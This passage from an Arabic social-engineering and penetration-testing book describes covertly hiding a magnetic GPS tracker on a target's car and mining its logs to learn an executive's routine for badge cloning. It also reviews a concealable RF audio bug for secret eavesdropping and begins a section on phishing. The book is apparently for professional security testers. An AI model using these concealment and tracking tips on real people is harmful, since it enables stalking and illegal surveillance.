‫ﯾﻘول اﻟﻛﺛﯾر ﻋﻧﮫ‪ .‬ﺗﺟﻣﯾﻊ وﺗﺣﻠﯾل ھذه اﻟﻣﻌﻠوﻣﺎت ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻋﻠﻰ ﺗطوﯾر اﻟذرﯾﻌﺔ ﻣﻧﺎﺳﺑﺔ أو اﻷﺳﺋﻠﺔ اﻟﺟﯾدة ﻻﺳﺗﺧداﻣﮭﺎ ﻓﻲ اﻧﺗزاع‬
‫اﻻﺳﺗﺟﺎﺑﺔ اﻟﺻﺣﯾﺣﺔ ﻣن اﻟﮭدف‪ .‬ﻣﻌرﻓﺔ أوﻗﺎت اﻟﺑدء واﻻﻧﺗﮭﺎء ﻟﯾوﻣﮫ ﯾﻣﻛن أن ﯾﻛون ﻗﯾﻣﺎ ﻟﻠﮭﺟﻣﺎت اﻟﻔرﯾﻖ اﻟﻣﺎدﯾﺔ‪ ،‬ﺣﯾث ﻛﺎن ھدف اﻟﻔرﯾﻖ ھو‬
‫ﻛﺳر واﺳﺗﻌﺎدة اﻷﺻول اﻟﻘﯾﻣﺔ ﻹظﮭﺎر ﻧﻘﺎط اﻟﺿﻌف اﻟﺟﺳدﯾﺔ ﻓﻲ اﻟﺷرﻛﺔ‪.‬‬
‫ﯾﻣﻛﻧك ﺗﻌﻘب اﻟﻧﺎس ﺑﺎﺳﺗﺧدام اﻟﻌدﯾد ﻣن اﻟطرق اﻟﻣﺧﺗﻠﻔﺔ‪ ،‬وﻟﻛن ﻓﻲ اﺗﺟﺎه واﺣد ھو اﺳﺗﺧدام ﺟﮭﺎز ﻣﺻﻣم ﻟﻠﻣﺳﺎﻋدة ﻓﻲ ﺗﺗﺑﻊ اﻟﮭدف‪ .‬أﺣد ھذه‬
‫اﻷﺟﮭزة ھو ﺗﻌﻘب ‪ .GPS‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪:‬‬
‫‪The notable SpyHawk SuperTrak GPS Worldwide Super TrackStick‬‬
‫و‪ USB Data Logger‬اﻟﻣﺗوﻓر ﻣن ﺧﻼل اﻟﻣوﻗﻊ ‪ .http://www.spyassociates.com‬ﻧوع واﺣد ﻣن اﻟﻛﺛﯾرﯾن‪ ،‬ﻣن ھذه اﻷﺟﮭزة‬
‫ﺗﺗراوح ﻗﯾﻣﺗﮫ ﺑﯾن ‪ SpyHawk SuperTrak .600-200‬ﯾﻠﺗﺻﻖ ﻣﻐﻧﺎطﯾﺳﯾﺎ ﺑﺎﻟﺳﯾﺎرة وﯾﻣﻛﻧﮫ ﺗﺧزﯾن ﻣﺎ ﻗﯾﻣﺗﮫ أﯾﺎم ﻣن اﻟﺑﯾﺎﻧﺎت ﻋﻠﻰ‬
‫اﻟﮭدف‪ .‬ﺗوﻓر اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺗﺟول ﻣن اﻹﻋدادات ﻻﺳﺗﺧدام ھذا اﻟﺟﮭﺎز اﻟﺻﻐﯾر‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪957‬‬

‫‪The SpyHawk SuperTrak GPS TrackStick‬‬

‫ﺗﺣﺗﺎج ﻟﺗرﻛﯾب اﻟﺑرﻣﺟﯾﺎت اﻟﻼزﻣﺔ ﻟﺟﻌل ﺗﺷﻐﯾل اﻟﺟﮭﺎز ﻏﯾر ﻣؤﻟم‪ .‬ﻣﺟرد اﻟﻧﻘر ﻋﻠﻰ اﻟﺑراﻣﺞ اﻟذي ﯾﺄﺗﻲ ﻣﻊ اﻟﺟﮭﺎز واﺗﺑﺎع اﻟﺧطوات اﻟﺗﻲ‬
‫ﺗظﮭر ﻋﻠﻰ اﻟﺷﺎﺷﺔ ﺳﯾﺗم ﺗﺛﺑﯾت ﺟﻣﯾﻊ اﻟﺑراﻣﺞ اﻟﻣطﻠوﺑﺔ‪ .‬ﻷﻧﮫ ﯾﺛﺑت دون أي ﻣﺷﺎﻛل واﻹﻋداد ﺑﻌد ذﻟك‪ .‬ﺷﺎﺷﺔ ‪ ،TrackStick‬ﻛﻣﺎ ھو ﻣوﺿﺢ‬
‫ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ ،‬ھﻲ ﺑدﯾﮭﯾﺔ ﺟدا ﻟﻼﺳﺗﺧدام وﺳﮭﻠﺔ اﻻﻋداد واﻟﺗﺛﺑﯾت‪.‬‬

‫ﻛﻣﺎ ﺗرون‪ ،‬ﻓﺈﻧﮫ ﯾوﻓر ﺧﯾﺎرات ﻻﺧﺗﯾﺎر اﻷوﻗﺎت‪ ،‬اﻟﻣﻧﺎطﻖ اﻟزﻣﻧﯾﺔ‪ ،‬واﻟﻣزﯾد ﻣن اﻟﺧﯾﺎرات اﻟﻣﺧﺻﺻﺔ ﻟﻠﺗﺳﺟﯾل‪.‬‬
‫‪Using the SpyHawk TrackStick‬‬
‫‪ The SpyHawk SuperTrak GPS Worldwide Super TrackStick‬اﻟﺟﮭﺎز ﻧﻔﺳﮫ ﺧﻔﯾف وﻣن اﻟﺳﮭل اﺳﺗﺧداﻣﮫ وإﺧﻔﺎﺋﮫ‪.‬‬
‫ﯾﺄﺗﻲ ﻣﻊ ﻣﻔﺗﺎح اﻟﺗﺷﻐﯾل‪/‬اﻹﯾﻘﺎف وﻟﻛن ﻟدﯾﮫ ﺑﻌض اﻟﺗﻛﻧوﻟوﺟﯾﺎ اﻷﻧﯾﻘﺔ‪ .‬ﻋﻧدﻣﺎ ﯾﺷﻌر ﺑﺎﻟﺣرﻛﺔ ﻓﺈﻧﮫ ﯾﺗﺣول وﯾﺑدأ ﺑﺎﻟﺗﺳﺟﯾل‪ .‬ﻋﻧدﻣﺎ ﯾﺗوﻗف ﻋن‬
‫اﻟﺣرﻛﺔ ﻟﻔﺗرة ﻣن اﻟوﻗت‪ ،‬ﻓﺈﻧﮫ ﯾﺗوﻗف ﻋن اﻟﺗﺳﺟﯾل‪.‬‬
‫ﺗﻘول اﻟﺗوﺟﯾﮭﺎت ﻹﺧﻔﺎء اﻟﺟﮭﺎز ﻓﻲ ﻣﻛﺎن ﻣﺎ ﻣﻊ ﻣﻐﻧﺎطﯾس ﻗوي ﻓوق اﻟﻣﻌﺎدن وﻟﻛن ﯾﺟب ان ﯾﺷﯾر اﻟﺟﮭﺎز ﻷﻋﻠﻰ أو ﻧﺣو اﻟﺑﻼﺳﺗﯾك‪ .‬ﻓﻘدان‬
‫اﻟﺟﮭﺎز ﻓﻲ أول ﺷوط ﻟﮫ ھو داﺋﻣﺎ ﻣﺻدر ﻗﻠﻖ‪ ،‬ﺣﺗﻰ اﻟﻌﺛور ﻋﻠﻰ ﻣﻛﺎن آﻣن ﻟطﯾف ﺗﺣت ﻏطﺎء ﻣﺣرك اﻟﺳﯾﺎرة ﯾﻣﻛن أن ﯾﺧﻔف ﻣن ﺗﻠك اﻟﮭﻣوم‬
‫وﯾﻌطﻲ ﺳﮭوﻟﺔ اﻟوﺻول إﻟﻰ ﺗﺻوﯾر اﻟﺳﻣﺎء‪ .‬ﺑﻣﺟرد ان ﯾﻛون ﻟدﯾك اﻟوﺻول )ﺳواء داﺧﻠﻲ أو ﺧﺎرﺟﻲ( إﻟﻰ اﻟﺳﯾﺎرة اﻟﻣﺳﺗﮭدﻓﺔ‪ ،‬واﻟﻌﺛور ﻋﻠﻰ‬
‫ﻣﻛﺎن آﻣن ﻓﻲ اﻟﻌﺟﻠﺔ ﺟﯾدا‪ ،‬ﺗﺣت ﻏطﺎء ﻣﺣرك اﻟﺳﯾﺎرة‪ ،‬أو ﻓﻲ اﻟﺟزء اﻟﺧﻠﻔﻲ ﻣن اﻟﺳﯾﺎرة اﻟﺟذع‪ .‬ﻓﻲ أي ﻣﻛﺎن ھﻧﺎك ﺳﺗﻌﻣل اﻟﻣﻌدﻧﯾﺔ‪ .‬إذا ﻛﺎن‬
‫ﻟدﯾك اﻟوﺻول اﻟداﺧﻠﻲ‪ ،‬وﺿﻌﮫ ﻓﻲ ﻏطﺎء ﻣﺣرك اﻟﺳﯾﺎرة ووﺿﻌﮫ ﻓﻲ ﻣﻛﺎن ﻣﺎ ﻓﻲ ﻣﻘﺻورة اﻟﻣﺣرك ﯾﻣﻛن ﺗﮭدﺋﺔ اﻟﻣﺧﺎوف ﻣن اﻛﺗﺷﺎف و‪/‬أو‬
‫اﻟﺧﺳﺎﺋر‪ .‬ﺣﺗﻰ ﻣن ﺧﻼل ﻏطﺎء ﻣﺣرك اﻟﺳﯾﺎرة اﻟﻣﻌدﻧﻲ اﻟﺟﮭﺎز ﯾﺳﺟل ﺟﯾدا‪ .‬ﻓﻛرة أﺧرى ھﻲ اﻻﻧﺗظﺎر ﺣﺗﻰ ﯾﺗم إﻟﻐﺎء ﺗﺄﻣﯾن اﻟﺳﯾﺎرة اﻟﻣﺳﺗﮭدﻓﺔ‬
‫وﻣن ﺛم وﺿﻌﮫ ﻓﻲ ﺻﻧدوق اﻟﺳﯾﺎرة ﺗﺣت اﻟﺳﺟﺎدة أو اﻟﻣﺻﺎﺑﯾﺢ اﻟﺧﻠﻔﯾﺔ‪.‬‬
‫‪Reviewing the GPS Tracker Data‬‬
‫ﺟﻣﻊ اﻟﺑﯾﺎﻧﺎت ﺣﯾث أن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺳﯾﺷﮭد أﻛﺑر ﻗدر ﻣن اﻟﻔﺎﺋدة‪ .‬أن ﺗﻛون ﻗﺎدر ﻋﻠﻰ ﺗﺗﺑﻊ ﻛل ﻣرة اﻟرﺋﯾس اﻟﺗﻧﻔﯾذي ﻟﻠﺷرﻛﺔ اﻟﻣﺳﺗﮭدﻓﺔ‬
‫ﺗوﻗف ﻟﺗﻧﺎول اﻟﻘﮭوة‪ ،‬ﻣﺎ ھو اﻟﻣﺗﺟر اﻟﻣﻔﺿل‪ ،‬واﻟﺻﺎﻟﺔ اﻟرﯾﺎﺿﯾﺔ ﻣﺎ ﯾﺣﺿر ﺗﻣﻛن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻠﺗﺧطﯾط ﻟﮭﺟوم وﻓﻘﺎ ﻷﻋﻠﻰ ﻣﻌدل ﻣن‬
‫اﻟﻧﺟﺎح‪.‬‬
‫ﻣﻌرﻓﺔ ﻣواﻗﻊ وﺗوﻗف اﻟﮭدف ﯾﻘول ﻟﻠﻣﮭﺎﺟﻣﯾن أﻓﺿل اﻟﻔرص ﻻﺳﺗﻧﺳﺎخ ﺷﺎرة ‪ RFID‬أو ﺟﻌل ﻣﻔﺗﺎح ﻣطﺑوع‪ .‬اﻟﻣﻛﺎﻓﺄة ھو أﻧﮫ ﯾﻣﻛﻧك اﻟﺣﺻول‬
‫ﻋﻠﻰ ھذه اﻟﻣﻌﻠوﻣﺎت دون اﻟﺣﺎﺟﺔ إﻟﻰ اﻻﻟﺗﺻﺎق ﺑﺎﻟﮭدف‪ .‬ﺗﺑﯾن اﻷرﻗﺎم اﻟﺗﺎﻟﯾﺔ ﻛﯾف أن ھذه اﻟﺗﻔﺎﺻﯾل ﯾﻣﻛن أن ﺗﻌطﻲ اﻟﻣﮭﺎﺟم اﻟﯾد اﻟﻌﻠﯾﺎ‪.‬‬
‫ﻻﺣظ اﻟﺗﻔﺎﺻﯾل ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ .‬ﺗﺳﺗطﯾﻊ أن ﺗرى ﺳرﻋﺔ ﻗﯾﺎدة اﻟﮭدف‪ ،‬واﻟوﻗت واﻟﺗﺎرﯾﺦ اﻟذي ﺗوﻗف ﻓﯾﮫ‪ .‬إذا ﻛﻧت ﺗرﯾد أن ﺗرى اﻟﻣوﻗﻊ ﻓﻲ‬
‫ﻣزﯾد ﻣن اﻟﺗﻔﺎﺻﯾل‪ ،‬اﺿﻐط ﻋﻠﻰ راﺑط ﺧراﺋط ﺟوﺟل‪ .‬اﻧﻘر ﻋﻠﻰ زر ﺗﺻدﯾر ﻟﺗﺻدﯾر ﻣﺟﻣوﻋﺔ اﻟﺑﯾﺎﻧﺎت ﺑﺄﻛﻣﻠﮭﺎ ﻋﻠﻰ ﺧرﯾطﺔ ﺟوﺟل أو ﻏوﻏل‬
‫اﯾرث اﻟﻘﺎﺑﻠﺔ ﻟﻠﻧﻘر اﻟﺧرﯾطﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪958‬‬

‫ﺑﻌد ﻓﺗﺢ ﻣﺟﻣوع اﻟﺑﯾﺎﻧﺎت ﻓﻲ ﺑرﻧﺎﻣﺞ ‪ Google Earth‬ﺗرى ﻧﻘﺎط ﺗوﻗف اﻟﮭدف‪ ،‬اﻟطرﯾﻖ اﻟذي أﺧذه ﺣﺗﻰ ﯾﺻل اﻟﻰ وﺟﮭﺗﮫ‪ ،‬وأوﻗﺎت اﻟﺗوﻗف‪،‬‬
‫ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪:‬‬

‫إذا ﻛﻧت ﺗرﯾد أن ﺗرى اﻟطرﯾﻖ ﻛﻠﮫ‪ ،‬ﻓﺈﻧﮫ ﻟﯾس ﻣﺷﻛﻠﺔ ﻓﻘط ﻗم ﺑﺗﺻدﯾر اﻟطرﯾﻖ ﻛﻠﮫ إﻟﻰ واﺣدة ﻣن اﻟﻌدﯾد ﻣن اﻟﺻﯾﻎ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل‬
‫اﻟﺗﺎﻟﻲ‪:‬‬

‫ھذا ﻣﻘطﻊ ﻗﺻﯾر ﻻ ﯾﻣﻛن أن ﯾﻐطﻲ ﺟﻣﯾﻊ اﻷدوات اﻟﻣﺗﺎﺣﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻣﻔﺎﺗﯾﺢ اﻟﻧﺟﺎح ھﻲ اﻟﻣﻣﺎرﺳﺔ واﻟﺑﺣث‪ .‬ﻣﻌرﻓﺔ ﻣﺎ ھﻲ اﻷدوات‬
‫اﻟﻣﺗﺎﺣﺔ ﻟﻠﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن أن ﺗﺻﻧﻊ ﻧﺟﺎﺣﮫ او ﻓﺷﻠﮫ‪ .‬ھذا ھو ﻣﺟرد ﻧﺻف اﻟﻣﻌرﻛﺔ‪ ،‬وذﻟك ﻷﻧك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﻣﺣﺗرف‪ ،‬ﯾﺟب‬
‫ﻋﻠﯾك اﻟﻣﻣﺎرﺳﺔ‪ ،‬واﻟﻣﻣﺎرﺳﺔ‪ ،‬واﻟﻣﻣﺎرﺳﺔ‪ .‬ﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻷدوات ﺑﺷﻛل ﺻﺣﯾﺢ ﺳوف ﺗﺣدث ﻓرﻗﺎ ﻛﺑﯾرا‪.‬‬
‫ﻓﻲ إطﺎر اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻘﻊ ﻓﻲ ‪ ،http://www.social-engineer.org‬ﺳﺄﻗوم ﺑﺎﺳﺗﻌراض اﻟﻌدﯾد ﻣن اﻷدوات اﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ‬
‫ﻓﻲ اﻟﻣﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﻲ ﻟﺗﻌزﯾز ﻣﻣﺎرﺳﺎﺗﮭﺎ‪.‬‬
‫اﻷدوات اﻟﻣﺎدﯾﺔ ھﻲ ﺟزء واﺣد ﻓﻘط ﻣن ﻛون اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻧﺎﺟﺢ ﺑﺎﻟرﻏم ﻣن ذﻟك‪ .‬ﺗدﻋم ﺟﻣﯾﻊ اﻷدوات اﻟﻔﻌﻠﯾﺔ ﻋﻠﻰ اﻷرض ﻣن ﻗﺑل‬
‫اﻟﺟودة وﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪.‬‬

‫‪RF Bug Kits‬‬

‫أﻧﮫ ﻣن دواﻋﻲ ﺳرورﻧﺎ ان ﻧﻘوم ﺑﺎﺳﺗﻌراض ھذا اﻟﻣﻧﺗﺞ اﻟﻣذھل اﻟذي أﻋﺗﻘد أن ﺟﻣﯾﻊ اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﯾﺟب ان ﯾﻣﻠﻛوا واﺣدا ﻣن ھذا‪.‬‬
‫ﻓﺈﻧﮫ ﯾﺳﻣﻰ "‪ "Professional Grade RF Audio Bug‬ﻣﻊ ﺣواﻟﻲ‪ 1000-900 :‬ﻗدم ﻣن اﻹرﺳﺎل اﻟﻼﺳﻠﻛﻲ‪.‬‬
‫اﻻﻧﻄﺒﺎﻋﺎت اﻷوﻟﻰ‬
‫اﻹﺻدار اﻟﺟدﯾد اﻷﻛﺛر ﺷﻌﺑﯾﮫ ﻟدﯾﻧﺎ ﻣن "‪ ،"Professional Grade RF Audio Bug‬ﻣﻊ ھذا اﻹﺻدار ﻣن اﻟﺟﯾل اﻟﺛﺎﻧﻲ ﻣن أداة اﻟﺗﻧﺻت‬
‫اﻟﻼﺳﻠﻛﻲ ﯾﻣﻛﻧك اﻻﺳﺗﻣﺎع إﻟﻰ اﻟﻣﺣﺎدﺛﺎت ﻓﻲ ﻏرﻓﺔ أﺧرى ﺳرا ً اﻟﻰ ﻣﺎ ﯾﺻل إﻟﻰ ‪ 300 +‬ﻣﺗر‪ .‬ﺣﯾث ﯾﻣﻛﻧك اﻻﻧﺿﻣﺎم إﻟﻰ اﻟﻣﮭﻧﯾﯾن ﻓﻲ ﻋﺎﻟم‬
‫اﻟﺗﺟﺳس واﻟﻣراﻗﺑﺔ واﻟﺗﺣﻘﯾﻖ ﻣﻊ ‪ ultimate RF audio bug‬ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف!‬
‫ھذا اﻟﺟﮭﺎز ﯾﺣﺗوي ﻋﻠﻰ اﻹرﺳﺎل اﻟﺻوﺗﻲ واﻟﻣﺗﻠﻘﻲ ﻋﻠﻰ ﺣد ﺳواء‪ .‬وﺣدة اﻹرﺳﺎل اﻟﻼﺳﻠﻛﻲ ﺻﻐﯾرة ﻣﻊ ﻣﯾﻛروﻓون ﻣدﻣﺞ وھواﺋﻲ ﻣرن‬
‫ﺗﻣﻛﻧﮭﺎ ﻣن أن ﺗﻛون ﻣﺧﻔﯾﺔ ﺑﺳﮭوﻟﺔ ﻓﻲ أي ﻣﻛﺎن ﻓﻲ ﻣﺟﺎل اﻟﻌﻣل ﻣﺛل أﺳﻔل اﻟﻣﻧﺿدة‪ ،‬اﻟﻛراﺳﻲ‪ ،‬اﻟﻣﻛﺎﺗب‪ ،‬إﻟﺦ‪ .‬وﺣدة اﻟﻣﺗﻠﻘﻲ ﺗﺣﺗوي ﻋﻠﻰ‬
‫ﻣﻘﺑس ﺳﻣﺎﻋﺔ )‪ (earphone jack‬ﻟﻼﺳﺗﻣﺎع اﻟﻣوﺿﻌﻲ وﻣﻘﺑس ﻟﺧرج اﻟﺻوت )‪ (audio out jack‬إﺿﺎﻓﻲ ‪ 3.5‬ﻣﻠم ﺑﮭﺎ ﻟﺗﺳﺟﯾل اﻟﺻوت‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪959‬‬

‫اﻟرﻗﻣﻲ أو ﺷرﯾط ﻛﺎﺳﯾت أو ‪ .portable DVR‬ﻓﮭذا اﻟﺟﮭﺎز ﻣرن ﺑﺷﻛل ﻻ ﯾﺻدق وﻣﻣﯾزة ﺑﺎﻟﺗﺄﻛﯾد ﻟﻣﺳﺎﻋدﺗك ﻓﻲ اﻟﺗﻘﺎط وﺗﺳﺟﯾل ﺑﯾﺎﻧﺎت‬
‫اﻟﺻوت ﻓﻲ اﻟﺑﻘﻌﺔ اﻟﺗﻲ ﺗﺣﺗﺎﺟﮭﺎ‪.‬‬
‫ﻋرض ﺳرﯾﻊ ﻟﺑﻌض اﻟﻣﻣﯾزات اﻹﯾﺟﺎﺑﯾﺔ اﻟﺗﻲ ﯾﺣﺗوﯾﮭﺎ ھذا اﻟﺟﮭﺎز ﻛﺎﻻﺗﻲ‪:‬‬
‫‪ -‬طﻘم ﻛﺎﻣل ﻟﻠﺗﺟﺳس ﻋﻠﻰ اﻟﺻوت‬
‫‪ -‬اﺳﺎل اﻟﺻوت اﻟﻼﺳﻠﻛﻲ ‪ +‬ﺟﮭﺎز اﻻﺳﺗﻘﺑﺎل‪.‬‬
‫‪ -‬ﺟﮭﺎز إرﺳﺎل ﺻﻐﯾر ﺑﻣﺎ ﯾﻛﻔﻲ إﺧﻔﺎء ﺗﻘرﯾﺑﺎ ﻓﻲ أي ﻣﻛﺎن‬
‫‪ -‬ﻣﻊ ﻣﺳﺎﻓﺔ ﻓوق ‪ + 300‬ﻣﺗر‬
‫‪ -‬اﺳﺗﺧدام اﻟﻣﺗﻠﻘﻲ ﻟﻼﺳﺗﻣﺎع إﻟﻰ اﻟﺻوت أو ﺗﺳﺟﯾﻠﮫ ﻻﺳﺗﻌراﺿﮫ ﻻﺣﻘﺎ‬
‫‪ -‬ﺧط ‪ 3.5‬ﻣﻠم ﺑﮭﺎ ﺟﺎك ﻟﺗﺳﺟﯾل اﻟﺻوت إﻟﻰ ﺑرﻧﺎﻣﺞ أو ﺟﮭﺎز ﺗﺳﺟﯾل اﻟﺻوت ﻣﻣﺎﺛﻠﺔ‪.‬‬
‫اﺳﺘﺨﺪام اﻟﺠﮭﺎز‬
‫ﺑﻌد ﺷﺣن وﺣدة ‪ bugs‬ﻧﻔﺳﮭﺎ وﺟﮭﺎز اﻻﺳﺗﻘﺑﺎل ﺳواء اﻟﻼﺳﻠﻛﯾﺔ واﻟﻣﺗﻧﻘﻠﺔ‪ .‬ﻓﺎن اﻟﻧطﺎق ﺳوف ﯾﻛون ﺑﺳﮭوﻟﺔ ‪ 1000‬أﻗدام أو أطول‪ .‬ﻧوﻋﯾﺔ‬
‫اﻟﺻوت ﻋﺎﻟﯾﺔ ﺟدا ً وواﺿﺣﺔ وﺿوح اﻟﺷﻣس‪ .‬ﯾﻣﻛن اﺳﺗﺧدام اﻟﺟﮭﺎز ﻟﻼﺳﺗﻣﺎع ﻋﻠﻰ اﻟﻔور أو اﻟﺗﺳﺟﯾل واﻻﺳﺗﻣﺎع إﻟﻰ وﻗت ﻻﺣﻖ‪.‬‬
‫وﺿﻊ اﻟﺟﮭﺎز ﻓﻲ ﻣﻛﺎن ﻏﯾر واﺿﺢ ھو ﻛل ﻣﺎ ھو ﻣطﻠوب‪ .‬اﻟﻣﯾﻛروﻓون ذات ﻧﮭﺎﯾﺔ ﻋﺎﻟﯾﺔ‪ ،‬وﯾﻠﺗﻘط اﻟﺻوت ﻣن ﻣﺳﺎﻓﺔ ﺟﯾدة ﺑﻌﯾدا ً‪ .‬ﺑﻌد اﺳﺗﺧدام‬
‫ھذا اﻟﺟﮭﺎز أﻋﺗﻘد أﻧﮫ ﯾﺟب أن ﯾﻛون ﺗرﺳﺎﻧﺔ ﻟﻠﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن‪.‬‬

‫)‪The E-Mail Attack Vector (phishing attacks‬‬

‫ﻣﺎ ھو ‪ ،Phishing Attack‬وﻟﻣﺎذا ھو ﻣﮭم؟ ‪ ،Phishing‬ﻣن وﺟﮭﺔ ﻧظر اﻟﺗﻛﻧوﻟوﺟﯾﺎ‪ ،‬ھو ﻓﻌل إرﺳﺎل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻟﻌدد ﻛﺑﯾر ﻣن‬
‫ﻋﻧﺎوﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﻣﺳﺗﮭدﻓﺔ‪ ،‬ﺑﻘﺻد ﺣﺻﺎد اﻟﺑﯾﺎﻧﺎت اﻟﺣﺳﺎﺳﺔ‪ .‬ھذه اﻟﺑﯾﺎﻧﺎت ﯾﻣﻛن أن ﺗﻛون اﺳم اﻟﻣﺳﺗﺧدم وﻛﻠﻣﺔ اﻟﻣرور أو ﺗﻔﺎﺻﯾل‬
‫ﻣﺻرﻓﯾﺔ‪ .‬ﯾﻣﻛن أن ﯾﻛون ﺣﺗﻰ ﺗﻔﺎﺻﯾل ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن ﻟﺷﺧص ﻣﺎ واﻟذي ﯾﺳﺗﮭدﻓﮫ اﻟﻣﮭﺎﺟم‪ .‬وﻣن أﺟل اﻟﺣدﯾث ﻋن اﻟﺟذور اﻟﺣﻘﯾﻘﯾﺔ ﻟﮭذا اﻟﻧوع‬
‫ﻣن اﻟﮭﺟوم‪ ،‬ﻓﮭﻧﺎك اﻟﺣﺎﺟﺔ ﻟﻠذھﺎب إﻟﻰ ﻣﺋﺎت اﻟﺳﻧﯾن ﻟﻠﻧظر ﻓﻲ ھﺟﻣﺎت اﻟرﺳﺎﻟﺔ اﻟﻣﻛﺗوﺑﺔ ﻣﺛل اﺣﺗﯾﺎل "‪ ،"Spanish Prisoner‬واﻟﺗﻲ ھﻲ ﻓﻲ‬
‫ﺟوھرھﺎ ﺗﻌﺎدل اﻟﯾوم ﺗزوﯾر اﻟرﺳوم )‪.(advance fee fraud‬‬
‫ھﺟﻣﺎت اﻟﺗﺻﯾد )‪ (Phishing attacks‬ﻟم ﺗﻌد ﻣﻌزوﻟﺔ ﻟﻣﺟرد رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ ،‬ﺣﯾث اﻧﮭﺎ أﺛﺑﺗت ﻓﻲ آﻟﯾﺎت اﻟﺗﺳﻠﯾم اﻷﺧرى ﻟﺗﻛون‬
‫ﻣوﺛوﻗﺔ ﺑﺎﻟﻧﺳﺑﺔ اﻟﻣﮭﺎﺟﻣﯾن‪ .‬وﻛﻣﺛﺎل ﻋﻠﻰ ذﻟك‪ ،‬ﻣواﻗﻊ اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ وﺳﯾﻠﺔ ﺷﻌﺑﯾﺔ ﻟﻠﺗوزﯾﻊ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺎﻟﺗﺻﯾد‪ .‬ﺛﻣﺔ ﺑدﯾل آﺧر‬
‫وھو اﻟﻧواﻓذ اﻟﻣﻧﺑﺛﻘﺔ )‪ (pop-ups windows‬واﻟﻣﺣﺗوﯾﺎت اﻟﺿﺎرة اﻟﻣﺗﺿﻣﻧﺔ ﻓﻲ اﻟﻣواﻗﻊ ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت‪.‬‬
‫ﯾﻣﻛن أن ﯾﻧظر إﻟﻰ ﻋﻣﻠﯾﺎت اﻻﺣﺗﯾﺎل اﻷﻛﺛر ﺷﯾوﻋﺎ ﻣن ﺑﻌد ﻣﯾل واﺣد‪ .‬وھﻲ ﻣﻛﺗوﺑﺔ ﺑﺷﻛل ﺳﯾﺊ وذات ﺳوء ﺗﻧﺳﯾﻖ وﻋﺎدة ﻣﺎ ﯾﺗم ﺗﻣرﯾرھﺎ ﻣن‬
‫ﻗﺑل أي ﻓﻠﺗر اﻟﺑرﯾد اﻟﻣزﻋﺞ‪ .‬ھﻧﺎك أﻧواع ﻣن اﻟﮭﺟوم واﻟﺗﻲ ﺳﺗﻘدم اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻣﮭﯾﺄ ﺑﺷﻛل ﺟﯾد ﻟﻠﻐﺎﯾﺔ‪ ،‬واﻟﺗﻲ ﺗظﮭر أﻧﮫ ﯾﺄﺗﻲ ﻣن ﻣﻧظﻣﺔ‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪960‬‬

‫ﻣﺷروﻋﺔ‪ ،‬ﻣﺛل أﺣد اﻟﺑﻧوك‪ ،eBay ،‬أو ‪ .PayPal‬ﺳﺗﺑدو ﻣﺗطﺎﺑﻘﺔ ﻟرﺳﺎﻟﺔ اﻟﺑرﯾد إﻟﻛﺗروﻧﻲ اﻟرﺳﻣﯾﺔ ﻣن ﻣﻧظﻣﺔ ﺣﻘﯾﻘﯾﺔ‪ ،‬ﻣﻊ ﻓﺎرق واﺣد ﻣﮭم‬
‫ﺟدا‪ .‬وھﻲ ﻣﺻﻣﻣﺔ ﻟﺣﺻﺎد أوراق ﻣﺻرﻓﯾﺔ أو ﺗﺻﯾب اﻟﻧظﺎم ﻣﻊ اﻟﺑرﻣﺟﯾﺎت اﻟﺧﺑﯾﺛﺔ‪.‬‬
